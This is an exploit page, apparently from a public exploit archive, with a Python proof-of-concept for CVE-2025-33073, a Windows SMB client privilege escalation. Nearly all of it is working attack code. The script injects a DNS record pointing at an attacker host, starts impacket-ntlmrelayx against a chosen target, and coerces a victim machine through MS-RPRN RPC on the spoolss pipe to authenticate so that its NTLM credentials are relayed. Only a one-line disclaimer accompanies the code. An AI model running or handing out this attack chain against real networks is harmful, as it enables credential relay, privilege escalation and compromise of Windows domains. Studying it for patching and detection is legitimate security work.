📄 Microsoft Windows 11 SMB Client Privilege Escalation / Remote Code Execution

#!/usr/bin/env python3
    # Exploit Title:  Windows 11 SMB Client - Privilege Escalation & Remote Code Execution (RCE)
    # Author: Mohammed Idrees Banyamer
    # Instagram: @banyamer_security
    # GitHub: https://github.com/mbanyamer
    # Date: 2025-06-13
    # Tested on: Windows 11 version 22H2, Windows Server 2022, Kali Linux 2024.2
    # CVE: CVE-2025-33073
    # Type: Remote
    # Platform: Microsoft Windows (including Windows 10, Windows 11, Windows Server 2019/2022/2025)
    # Attack Vector: Remote via DNS injection and RPC coercion with NTLM relay
    # User Interaction: Required (authenticated domain user)
    # Remediation Level: Official Fix Available
    #
    # Affected Versions:
    # - Windows 11 versions 22H2, 22H3, 23H2, 24H2 (10.0.22621.x and 10.0.26100.x)
    # - Windows Server 2022 (including 23H2 editions)
    # - Windows Server 2019
    # - Windows 10 versions from 1507 up to 22H2
    # - Windows Server 2016 and 2008 (with appropriate versions)
    #
    # Description:
    # This PoC demonstrates a complex attack chain exploiting improper access control in Windows SMB clients,
    # leading to elevation of privilege through DNS record injection, NTLM relay attacks using impacket-ntlmrelayx,
    # and coercion of a victim system (including Windows 11) to authenticate to an attacker-controlled server
    # via MS-RPRN RPC calls. The exploit affects multiple Windows versions including Windows 11 (10.0.22621.x),
    # Windows Server 2022, and earlier versions vulnerable to this method.
    #
    #
    # Note: The exploit requires the victim to be an authenticated domain user and the environment
    # must not have mitigations like SMB signing enforced or Extended Protection for Authentication (EPA).
    #
    # DISCLAIMER: For authorized security testing and educational use only.
    
    import argparse
    import subprocess
    import socket
    import time
    import sys
    
    def inject_dns_record(dns_ip, dc_fqdn, record_name, attacker_ip):
        print("[*] Injecting DNS record via samba-tool (requires admin privileges)...")
        cmd = [
            "samba-tool", "dns", "add", dns_ip, dc_fqdn,
            record_name, "A", attacker_ip, "--username=Administrator", "--password=YourPassword"
        ]
        try:
            subprocess.run(cmd, check=True)
            print("[+] DNS record successfully added.")
        except subprocess.CalledProcessError:
            print("[!] Failed to add DNS record. Check credentials and connectivity.")
            sys.exit(1)
    
    def check_record(record_name):
        print("[*] Verifying DNS record propagation...")
        for i in range(10):
            try:
                result = socket.gethostbyname_ex(record_name)
                if result and result[2]:
                    print(f"[+] DNS record resolved to: {result[2]}")
                    return True
            except socket.gaierror:
                time.sleep(2)
        print("[!] DNS record did not propagate or resolve.")
        return False
    
    def start_ntlmrelay(target):
        print("[*] Starting NTLM relay server (impacket-ntlmrelayx)...")
        try:
            subprocess.Popen([
                "impacket-ntlmrelayx", "-t", target, "--no-smb-server"
            ])
            print("[*] NTLM relay server started.")
        except Exception as e:
            print(f"[!] Failed to start NTLM relay server: {e}")
            sys.exit(1)
    
    def trigger_coercion(victim_ip, fake_host):
        print("[*] Triggering victim to authenticate via MS-RPRN RPC coercion...")
        cmd = [
            "rpcping",
            "-t", f"ncacn_np:{victim_ip}[\\pipe\\spoolss]",
            "-s", fake_host,
            "-e", "1234",
            "-a", "n",
            "-u", "none",
            "-p", "none"
        ]
        try:
            subprocess.run(cmd, check=True)
            print("[+] Coercion RPC call sent successfully.")
        except subprocess.CalledProcessError:
            print("[!] RPC coercion failed. Verify victim connectivity and service status.")
            sys.exit(1)
    
    def main():
        parser = argparse.ArgumentParser(description="Windows 11 SMB Client Elevation of Privilege PoC using DNS Injection + NTLM Relay + RPC Coercion")
        parser.add_argument("--attacker-ip", required=True, help="IP address of the attacker-controlled server")
        parser.add_argument("--dns-ip", required=True, help="IP address of the DNS server (usually the DC)")
        parser.add_argument("--dc-fqdn", required=True, help="Fully qualified domain name of the domain controller")
        parser.add_argument("--target", required=True, help="Target system to relay authentication to")
        parser.add_argument("--victim-ip", required=True, help="IP address of the victim system to coerce authentication from")
        args = parser.parse_args()
    
        record = "relaytrigger"
        fqdn = f"{record}.{args.dc_fqdn}"
    
        inject_dns_record(args.dns_ip, args.dc_fqdn, record, args.attacker_ip)
        if not check_record(fqdn):
            print("[!] DNS verification failed, aborting.")
            sys.exit(1)
    
        start_ntlmrelay(args.target)
        time.sleep(5)  # Wait for relay server to be ready
    
        trigger_coercion(args.victim_ip, fqdn)
    
        print("[*] Exploit chain triggered. Monitor ntlmrelayx output for authentication relays.")
    
    if __name__ == "__main__":
        main()